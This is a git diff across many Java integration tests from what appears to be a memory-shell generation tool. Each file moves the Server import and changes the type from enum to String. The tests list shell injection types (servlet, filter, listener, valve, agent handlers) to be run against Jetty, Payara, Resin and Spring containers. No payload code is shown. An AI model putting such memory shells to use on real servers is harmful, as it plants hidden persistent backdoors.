b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index 541a98a3..ab0dfc41 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty10ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index d277f934..d214ed65 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty11ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index 154fd036..f3de0b9e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty12ee10ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 362f8aa2..63d9af45 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty12ee8ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index faaa7f58..c237e101 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty12ee9ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index 733f119e..568da231 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty61ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index 235a99ec..05ff5413 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty75ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index 8011fc20..ee71af7e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty76ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index 9c4834b4..1375743f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty81ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index ab9c46a1..7e035666 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -51,7 +51,7 @@ public class Jetty92ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index d04e365f..62f2cc40 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty93ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index 70825308..8113ef09 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Jetty94ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index c4a4daf7..27a413ea 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Payara5201ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index 493def6f..209e0f0d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Payara520225ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java index f87ecbdb..9d40a917 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Payara620222ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.GlassFish; + String server = Server.GlassFish; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java index 808c37ed..50fd4143 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -51,7 +51,7 @@ public class Resin3116ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Resin; + String server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java index 64edb03d..bccafa5a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Resin318ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Resin; + String server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java index f677813e..049fbd21 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Resin4058ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Resin; + String server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java index ef5952a3..925158c9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Resin4067ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Resin; + String server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java index abba403d..a234749e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebflux; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class SpringBoot2WebFluxContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebFlux; + String server = Server.SpringWebFlux; List supportedShellTypes = List.of(ShellType.SPRING_WEBFLUX_WEB_FILTER, ShellType.SPRING_WEBFLUX_HANDLER_METHOD, ShellType.NETTY_HANDLER); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java index 341d7519..e4725dc6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebflux; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -49,7 +49,7 @@ public class SpringBoot3WebFluxContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebFlux; + String server = Server.SpringWebFlux; List supportedShellTypes = List.of(ShellType.SPRING_WEBFLUX_WEB_FILTER, ShellType.SPRING_WEBFLUX_HANDLER_METHOD, ShellType.NETTY_HANDLER); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java index 734dadc8..e365c5a3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class SpringBoot1ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebMvc; + String server = Server.SpringWebMvc; List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index 1b2b7663..6e7c712b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -52,7 +52,7 @@ public class SpringBoot2ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebMvc; + String server = Server.SpringWebMvc; List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, @@ -84,7 +84,7 @@ public class SpringBoot2ContainerTest { } static Stream tomcatCasesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, // ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java index 71abb6ed..042778fb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -52,7 +52,7 @@ public class SpringBoot2JettyContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebMvc; + String server = Server.SpringWebMvc; List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, @@ -84,7 +84,7 @@ public class SpringBoot2JettyContainerTest { } static Stream jettyCasesProvider() { - Server server = Server.Jetty; + String server = Server.Jetty; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java index 9e46ef79..1585d99e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -52,7 +52,7 @@ public class SpringBoot2UndertowContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebMvc; + String server = Server.SpringWebMvc; List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, @@ -84,7 +84,7 @@ public class SpringBoot2UndertowContainerTest { } static Stream jettyCasesProvider() { - Server server = Server.Undertow; + String server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java index fa2f5fbf..d8db65ff 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class SpringBoot2WarContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebMvc; + String server = Server.SpringWebMvc; List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER @@ -73,7 +73,7 @@ public class SpringBoot2WarContainerTest { } static Stream tomcatCasesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, // ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index a796bd9e..387817ab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class SpringBoot3ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.SpringWebMvc; + String server = Server.SpringWebMvc; List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, 